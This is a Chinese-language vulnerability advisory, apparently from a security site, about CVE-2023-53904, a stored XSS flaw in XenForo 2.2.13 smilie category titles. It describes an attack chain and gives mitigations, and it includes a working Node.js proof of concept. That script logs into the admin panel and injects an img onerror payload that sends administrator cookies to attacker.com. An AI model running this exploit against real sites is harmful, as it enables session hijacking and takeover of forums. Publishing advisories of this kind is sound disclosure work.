IPBUF安全漏洞报告
English
CVE-2023-53904 CVSS 4.6 中危

CVE-2023-53904: XenForo 2.2.13 存储型XSS漏洞(表情符号类别标题)

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2023-53904
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
XenForo

相关标签

存储型XSS跨站脚本XenForoCVE-2023-53904管理后台会话劫持认证绕过

漏洞概述

CVE-2023-53904是XenForo 2.2.13版本中存在的一个存储型跨站脚本(Stored Cross-Site Scripting)漏洞。该漏洞允许已认证的管理员通过表情符号(smilie)类别标题参数注入恶意JavaScript脚本。由于攻击载荷存储在数据库中,当管理员访问管理面板时,恶意脚本会自动执行,从而实现持久性的客户端攻击。攻击者利用此漏洞可以窃取管理员会话Cookie、劫持管理员账户、执行任意管理操作或在管理员不知情的情况下进行进一步的攻击。此漏洞的CVSS评分为4.6,属于中等严重程度,攻击复杂度低,但需要低权限认证和用户交互。

技术细节

该漏洞源于XenForo 2.2.13在处理表情符号类别标题输入时缺乏充分的输入验证和输出编码。当管理员创建或编辑表情符号类别时,系统直接将用户提交的标题内容存储到数据库中,而在后续页面渲染时未对存储的内容进行适当的HTML实体转义。攻击者可以构造包含恶意JavaScript代码的类别标题,例如使用<script>标签或事件处理器属性(如onerror、onload等)。由于存储型XSS的特性,恶意代码会被永久保存在数据库中,所有访问相关管理页面的管理员都会触发该脚本。攻击成功后,攻击者可以获取管理员的认证令牌、执行特权操作或横向移动到其他功能模块。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用XenForo CMS,并确定版本号<=2.2.13
STEP 2
获取管理员权限
通过钓鱼、密码爆破或其他方式获取XenForo管理员账户凭据
STEP 3
注入恶意脚本
登录管理后台,导航至表情符号管理页面,创建或编辑表情符号类别,在标题字段中注入XSS恶意载荷
STEP 4
脚本持久化
恶意载荷被存储到数据库中,由于是存储型XSS,脚本会在数据库中永久保存
STEP 5
触发执行
当其他管理员访问管理面板或相关页面时,恶意脚本自动执行
STEP 6
会话劫持
恶意脚本窃取管理员Cookie或执行特权操作,攻击者获取更高权限或完全控制网站

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53904 PoC - XenForo Stored XSS via Smilie Category Title // Target: XenForo <= 2.2.13 // Authentication: Administrator required const axios = require('axios'); const cheerio = require('cheerio'); async function exploit(targetUrl, username, password) { const session = axios.create({ baseURL: targetUrl }); // Step 1: Login as administrator const loginPage = await session.get('/admin.php?login/'); const $ = cheerio.load(loginPage.data); const csrfToken = $('input[name="_xfToken"]').val(); await session.post('/admin.php?login/login', { login: username, password: password, remember: 1, _xfToken: csrfToken }); // Step 2: Create malicious smilie category with XSS payload const adminIndex = await session.get('/admin.php'); const $$ = cheerio.load(adminIndex.data); const adminCsrf = $$('input[name="_xfToken"]').val(); const xssPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">'; await session.post('/admin.php?smilies/categories/add', { category_title: xssPayload, display_order: 1, _xfToken: adminCsrf }); console.log('XSS payload injected successfully'); console.log('Admin panel access will trigger the malicious script'); } exploit('http://target-xenforo.com', 'admin', 'password');

影响范围

XenForo < 2.2.14

防御指南

临时缓解措施
在官方补丁发布前,可临时采取以下措施:1) 限制管理后台访问IP,只允许可信IP访问;2) 对表情符号类别相关表单实施输入长度限制和字符白名单过滤;3) 启用Web应用防火墙规则检测XSS特征;4) 提醒管理员不要点击可疑链接或访问非官方链接;5) 监控管理操作日志,及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表